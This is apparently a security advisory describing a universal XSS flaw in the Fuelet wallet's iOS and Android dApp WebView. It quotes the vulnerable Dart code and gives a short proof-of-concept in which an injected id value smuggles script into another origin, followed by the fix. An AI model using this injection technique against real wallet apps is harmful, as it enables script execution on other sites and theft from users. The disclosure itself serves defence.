Universal XSS in Fuelet dApp WebView
Description
The Fuelet iOS and Android apps use a WebView (using WebKit on iOS and Chromium on Android) that allows users to access dApps. The Fuelet app injects a JavaScript shim that allows JavaScript running in the WebView to interact with the native Fuelet app.
However, the WebView is vulnerable to universal XSS via injection in the id field in sendResponseToJs (fuelet/lib/presentation/browser/screens/state/browser_page_screen_state/browser_page_screen_bloc.dart):
Future<void> sendResponseToJs(
{required String id,
required String method,
dynamic result,
String? error}) async {
final response = jsonEncode({
'source': method,
'result': result,
'error': error,
}).replaceAll('"', '\\"');
_controller
.runJavaScript('receiveResponseFromFlutter("$id", "$response");');
}An attacker may exploit this to execute JavaScript on another origin by sending a request then navigating to the victim origin before the Fuelet wallet sends the response.
To test this vulnerability, executing alert(origin) on example.com, we can run the following JavaScript code:
location = '//example.com'
FueletWallet.postMessage(JSON.stringify({
type: 'request',
target: 'FuelContentScript',
connectorName: 'Fuelet Wallet',
request: {
jsonrpc: '2.0',
id: '",alert(origin),"',
method: 'connect',
params: {}
}
}))Impact
This issue allows any malicious website a user visits to compromise any other website loaded in the WebView.
Recommendations
The Fuelet team should
ensure that
postMessageresponses are only sent to the origin that initiated the request, andproperly escape both the
idandresponseparameters via JSON encoding insendResponseToJs.
Remediation
This issue has been acknowledged by Fuelet Wallet, and a fix was implemented in commit d686818↗.